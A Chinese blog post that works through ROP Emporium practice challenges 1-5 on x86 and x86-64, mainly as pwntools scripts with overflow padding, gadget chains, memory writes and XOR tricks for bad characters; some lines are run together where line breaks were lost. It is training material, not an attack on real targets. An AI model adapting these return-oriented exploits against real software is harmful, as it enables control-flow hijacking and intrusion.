ROP Emporium做题记录Challenge1-5(x86)
题目地址rop emporium
1.ret2win(x86-32)
from pwn import *
p = process('./ret2win32')
ret2win_addr = 0x804862c#system("/bin/cat flag.txt")
payload = b'a'*(0x28+0x4)+p32(ret2win_addr)
p.send(payload)
p.recv()
1.ret2win(x86-64)
from pwn import *
p = process('./ret2win')
ret2win_addr = 0x400756
payload = b'a'*0x28 + p64(ret2win_addr)
p.send(payload)
p.recv()
2.split(x86-32)
from pwn import *
p = process('./split32')
string_addr = 0x804A030#/bin/cat flag.txt
#system_addr = 0x80483e0#system@plt
#payload = b'a'*0x2c+p32(system_addr)+p32(0)+p32(string_addr)
system_addr = 0x804861a#call system
payload = b'a'*0x2c+p32(system_addr)+p32(string_addr)
p.send(payload)
p.recv()
返回地址可以用system@plt的地址,p32(0)是新的返回地址。也可以用call system的地址,用这个就不用填充4字节,因为call有一个返回地址压栈操作
2.split(x86-64)
from pwn import *
p = process('./split')
string_addr = 0x601060#/bin/cat flag.txt
system_addr = 0x400560#addr of system@plt
pop_rdi_addr = 0x4007c3
payload = b'a'*0x28+p64(pop_rdi_addr)+p64(string_addr)+p64(system_addr)
p.send(payload)
p.recv()
p.recv()
3.callme(x86-32)
from pwn import *
p = process('./callme32')
callmeone_addr = 0x80484f0
callmetwo_addr = 0x8048550
callmethree_addr = 0x80484e0
para1 = 0xdeadbeef
para2 = 0xcafebabe
para3 = 0xd00df00d
pop_pop_pop_ret = 0x80487f9
add_pop_ret = 0x80484aa
payload = b'a'*44+p32(callmeone_addr)+p32(pop_pop_pop_ret)
payload += p32(para1)+p32(para2)+p32(para3)
payload += p32(callmetwo_addr)+p32(add_pop_ret)
payload += p32(para1)+p32(para2)+p32(para3)
payload += p32(callmethree_addr)+p32(add_pop_ret)
payload += p32(para1)+p32(para2)+p32(para3)
p.send(payload)
p.recv()
两个gadget是用来平衡堆栈的,效果都一样,我就都试试了
3.callme(x86-64)
from pwn import *
p = process('./callme')
callme1_addr = 0x400720
callme2_addr = 0x400740
callme3_addr = 0x4006f0para1 = 0xdeadbeefdeadbeef
para2 = 0xcafebabecafebabe
para3 = 0xd00df00dd00df00d
pop_rdi_ret = 0x4009a3
pop_rsi_rdx_ret = 0x40093dpayload = b''
payload += b'a'*0x28
payload += p64(pop_rdi_ret)+p64(para1)+p64(pop_rsi_rdx_ret)+p64(para2)+p64(para3)+p64(callme1_addr)
payload += p64(pop_rdi_ret)+p64(para1)+p64(pop_rsi_rdx_ret)+p64(para2)+p64(para3)+p64(callme2_addr)
payload += p64(pop_rdi_ret)+p64(para1)+p64(pop_rsi_rdx_ret)+p64(para2)+p64(para3)+p64(callme3_addr)
p.send(payload)
p.recv()
4.write4(x86-32)
from pwn import *
p = process('./write432')
printfile_addr = 0x80483d0
mov_ret = 0x8048543#mov dword ptr[edi],ebp;ret
pop_pop_ret = 0x80485aa#pop edi;pop ebp;ret
write_addr = 0x804a018#WApayload = b'a'*0x2c
payload += p32(pop_pop_ret)+p32(write_addr)+b'flag'
payload += p32(mov_ret)+p32(pop_pop_ret)+p32(write_addr+4)+b'.txt'
payload += p32(mov_ret)
payload += p32(printfile_addr)+p32(0)+p32(write_addr)
p.send(payload)
p.recv()
4.write4(x86-64)
from pwn import *
p = process('./write4')
write_addr = 0x601028
mov_ret = 0x400628#mov qword ptr[r14],r15;ret
pop_pop_ret = 0x400690#pop r14;pop r15;ret
pop_ret = 0x400693#pop rdi;ret
printfile_addr = 0x400510
payload = b'a'*0x28
payload += p64(pop_pop_ret)+p64(write_addr)+b'flag.txt'
payload += p64(mov_ret) + p64(pop_ret) + p64(write_addr)
payload += p64(printfile_addr)
p.send(payload)
p.recv()
没有字符串就写一个,可以利用mov指令往内存里写,找一个有写权限的地址,还有不要影响到程序正常运行,我用的data段,注意要加上\x00截断符,我这里再往后面写四字节0反而错了,后面应该就有。还有一种姿势是调用gets函数写,但要题目有一个字符串可以写
5.badchars(x86-32)
from pwn import *
p = process('./badchars32')
printfile_addr = 0x080483d0
mov_ret = 0x0804854f#mov dword ptr [edi] , esi ; ret
pop_pop_pop_pop_ret = 0x080485b8#pop ebx;pop esi;pop edi;pop ebp;ret
pop_pop_pop_ret = 0x080485b9#pop esi;pop edi;pop ebp;ret
xor_ret = 0x08048547#xor byte ptr[ebp],bl ; ret
write_addr = 0x0804a018
pop_ret = 0x080485bb#pop ebp ; ret
pop_ebx_ret = 0x0804839d#pop ebx ;retbadchars = ['0x78','0x67','0x61','0x2e']
payload = b'b'*0x2c+p32(pop_pop_pop_pop_ret)+p32(32)+b'flAG'+p32(write_addr)+p32(write_addr+2)+p32(mov_ret)
payload += p32(pop_pop_pop_ret)+b'\x0etXt'+p32(write_addr+4)+p32(write_addr+2)
payload += p32(mov_ret)
payload += p32(xor_ret) + p32(pop_ret) + p32(write_addr+3) + p32(xor_ret)
payload += p32(pop_ret) + p32(write_addr+4) + p32(xor_ret)
payload += p32(pop_ret) + p32(write_addr+6) + p32(xor_ret)
payload += p32(printfile_addr)+p32(0)+p32(write_addr)p.send(payload)
p.recv()
比较乱,思路就是碰到有badchars给它加密一下,题目提示用异或,用之前再解密一下就可以,它这里是对每个字节都判断的,好在运气没有那么长,地址里都没有出现过滤字节,主要是flag.txt,这里我用32异或方便一点。
5.badchars(x86-64)
from pwn import *
p = process('./badchars')
write_addr = 0x60102f#0x601028-0x601038(+0 +3 +4 +6 ! 0x2e)
func_addr = 0x400510#print_file
badchars = [0x78,0x67,0x2e,0x61]mov_ret = 0x400634#mov qword ptr[r13],r12;ret
pop_r12_r13_r14_r15_ret = 0x40069c
pop_r15_ret = 0x4006a2
pop_rdi_ret = 0x4006a3
xor_ret = 0x400628#xor byte ptr [r15],r14b;ret
pop_r14_r15_ret = 0x4006a0
add_ret = 0x40062c#add byte ptr [r15],r14b;retpayload = b'b'*0x28+p64(pop_r12_r13_r14_r15_ret)+b'flAG\x0etXt'
payload += p64(write_addr)+p64(32)+p64(write_addr+2)
payload += p64(mov_ret)+p64(xor_ret)
payload += p64(pop_r15_ret)+p64(write_addr+3)+p64(xor_ret)
payload += p64(pop_r15_ret)+p64(write_addr+4)+p64(xor_ret)
payload += p64(pop_r15_ret)+p64(write_addr+6)+p64(xor_ret)payload += p64(pop_rdi_ret)+p64(write_addr)
payload += p64(func_addr)p.send(payload)p.recv()
一开始write_addr用data段的开始位置,发现flag.tXt的X没有被异或也就是write_addr+6,因为刚好这个有0x2e,所以我先想通过add指令之类的改寄存器,找来找去没有好的gadget,就算了。这里就换个地址,给它避免掉,data段还蛮大的,下面还有bss段。
ROP Emporium做题记录Challenge1-5(x86)相关推荐
- 概率期望题(期望 DP)做题记录
概率期望题(期望 DP)做题记录 P3830 [SHOI2012]随机树 难点在于第二问:生成树的期望深度. 不 wei zhuo 捏,设 \(dp_{i,j}\) 表示已经有了 \(i\) 个叶子结 ...
- 数数题(计数类 DP)做题记录
数数题(计数类 DP)做题记录 CF1657E Star MST 我们称张无向完全图是美丽的当且仅当:所有和 \(1\) 相连的边的边权之和等于这张完全图的最小生成树的边权之和. 完全图点数为 \(n ...
- CSDN 第六期编程竞赛做题记录
CSDN 第六期编程竞赛做题记录 -- CSDN编程竞赛报名地址:https://edu.csdn.net/contest/detail/16 9.18周日闲来无视写一下 csdn 的编程题,每期编程 ...
- 退役前的做题记录5.0
退役前的做题记录5.0 出于某种原因新开了一篇. [CodeChef]Querying on a Grid 对序列建立分治结构,每次处理\((l,mid,r)\)时,以\(mid\)为源点建立最短路树 ...
- Regional 做题记录 (50/50)
写在前面 博主深感自己太弱了QAQ 于是有了一个刷水的想法,Regional的题目还是有很多考查思维的题目,所以这次是乱做50道思考题,可能会顺带做一些水题,这些题的简要题解会写到这篇博文里面,希望能 ...
- 2020.7月做题记录
转眼就到了2020的下半年了-前方仍是一片茫然. 长期计划 prufer 序列 2020.07.02-2020.07.04 Problem Finished P2624 [HNOI2008]明明的烦恼 ...
- 退役前的做题记录1.0
退役前的做题记录1.0 租酥雨最近很懒qwq,具体表现在写题的时候不想发题解了. 但是想想这样也不太好,就决定发个一句话(半句话到几句话不等)题解上来. 2018-09.18-2018-09.28 [ ...
- 【Pikachu】漏洞练习平台做题记录+原理解析(2.2)XSS姿势和技巧
前言 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞. 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意. pikach ...
- 退役前的做题记录2.0
退役前的做题记录2.0 最近在刷省选题......大致上是按照省份刷的. 不过上面的题目顺序是按照写题的顺序排列的,所以可能会有点乱哈. [BZOJ2823][AHOI2012]信号塔 最小圆覆盖,随 ...
最新文章
- 易扩展的SLAM框架-OpenVSLAM
- 在Ubuntu 16.04.6 LTS上升级python 3.5到3.7.3实录
- ELK环境搭建及client配置
- android IntentService生命周期问题
- Mysql安装注意问题
- 机器视觉烟包行业质量检测解决方案
- 带前端脚本的html页面,2.从头学前端之如何在html中使用javascript
- 多径瑞利信道的一种matlab产生方法
- 刑法中关于计算机犯罪的定义,界定计算机犯罪概念的原则
- 微信小程序开发者工具获取不到坐标
- android软件开发 开题报告,基于Android手机app开发与设计 毕业设计 开题报告
- Silvaco TCAD仿真3——DeckBuild
- 抖音表情包项目怎么变现?普通人如何利用表情包短视频月入过万?
- mysql 历史数据迁移,MySQL 历史数据表迁移方法
- 十年阿里P6大牛谈外包!
- DataStream API
- 随机过程的概念与基本类型
- 继FCoin后的下一轮浪潮 —— 去中心化交易所的逆风翻盘
- c语言优秀教案,C语言优秀教案.doc
- 企业数字化转型和升级:架构设计方法与实践
热门文章
- TCP/IP协议栈Lwip的设计与实现:之一
- chromebook刷机_Chromebook正在获得更好的家长控制
- ubuntu、win跨平台局域网文件传输工具
- 路由虚拟端口配置dhcp服务器,h3c 路由器 设置dhcp服务器配置
- 卡巴斯基网络版客户端安装步骤
- demoireing
- 美服测试服无法连接验证服务器,美服1.10 test服务器开了,我的一些测试心得
- taro图片上加图片 taro引入背景图语法
- matlab shogun,在Windows下为Matlab编译Shogun工具箱
- 【感悟】在工作中勇于走出舒适圈